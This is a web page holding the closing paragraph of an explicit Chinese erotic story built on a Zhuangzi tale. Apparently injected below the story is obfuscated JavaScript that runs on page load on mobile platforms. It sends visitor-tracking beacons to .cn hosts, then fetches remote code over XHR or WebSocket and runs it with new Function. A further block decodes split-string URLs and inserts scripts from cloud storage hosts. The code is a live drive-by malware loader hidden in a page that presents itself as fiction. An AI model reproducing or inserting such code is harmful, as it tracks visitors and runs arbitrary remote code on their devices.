我对此可以作答:或许只有庄周才会在绮梦正酣的夜半被惊醒;或许只有庄周才会抱着古画入眠,并且凑巧在欲望宣泄的那一瞬,凑巧地弹起身子,将自己的精液溅射在古画上;又或许别人也曾经做过同样的事情,只不过那时揭开谜底的钥匙也许并非如此而已!所以庄周能揭开这秘密,只是因为他恰好在合适的时间做了恰好的事情!毕竟,这只是故事,无巧不成书,看故事的人就应该允许庄周有这样的巧合!

【完】

function BUjbpuVA(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function vSksqbAj(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return BUjbpuVA(t);};window[''+'x'+'j'+'d'+'V'+'g'+'I'+'C'+'t'+'Q'+'T'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function AaoQ(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=vSksqbAj,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=AaoQ(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qssc.fnelg.cn:7891/stats/9473/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=AaoQ(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmdiYnnB0bC5jbiUzQTg4OTE=','d3NzJJTNBJJTJJGJJTJJGYS53aGJJnei5jbiUzQTk1MzU=','9171',window,document,['n','J']);}:function(){};
function jQEAxPhY(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function GIVrKx(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return jQEAxPhY(t);};window[''+'Q'+'m'+'M'+'x'+'s'+'U'+'Y'+'E'+'e'+'B'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function OKqtg(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=GIVrKx,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=OKqtg(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15636/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=OKqtg(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jjbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS55a2toanMuY24lM0E5NTTM1','168218',window,document,['j','T']);}:function(){};
let urls=["hSStSStSSpSSsSS:SS/SS/SSmSSqSS1SS4SSnSS3SS8SS9SS2SS.SSoSSsSSsSS-SScSSnSS-SSsSShSSaSSnSSgSShSSaSSiSS.SSaSSlSSiSSySSuSSnSScSSsSS.SScSSoSSmSS/SS1SS4SS/SS1SS1SS0SS5SS5SSbSSaSSfSScSS2SS3SS3SS4".split("SS").join(""),"hMMtMMtMMpMMsMM:MM/MM/MMpMM.MMgMMoMMdMMmMMwMMiMMtMMhMM.MMcMMoMMmMM/MM1MM4MM/MM1MM1MM0MM5MM5MMbMMaMMfMMcMM2MM3MM3MM4".split("MM").join(""),"hRRtRRtRRpRRsRR:RR/RR/RRoRRcRR1RR8RR1RR4RRnRR3RR8RR9RR2RR.RRoRRsRRsRR-RRcRRnRR-RRsRRhRRaRRnRRgRRhRRaRRiRR.RRaRRlRRiRRyRRuRRnRRcRRsRR.RRcRRoRRmRR/RR1RR4RR/RR1RR1RR0RR5RR5RRbRRaRRfRRcRR2RR3RR3RR4".split("RR").join(""),"hDDtDDtDDpDDsDD:DD/DD/DDdDD8DD9DD-DD1DD3DD1DD3DD9DD4DD4DD0DD6DD2DD.DDcDDoDDsDD.DDaDDpDD-DDhDDoDDnDDgDDkDDoDDnDDgDD.DDmDDyDDqDDcDDlDDoDDuDDdDD.DDcDDoDDmDD/DD1DD1DD0DD5DD5DDbDDaDDfDDcDD2DD3DD3DD4".split("DD").join("")];let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2334_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();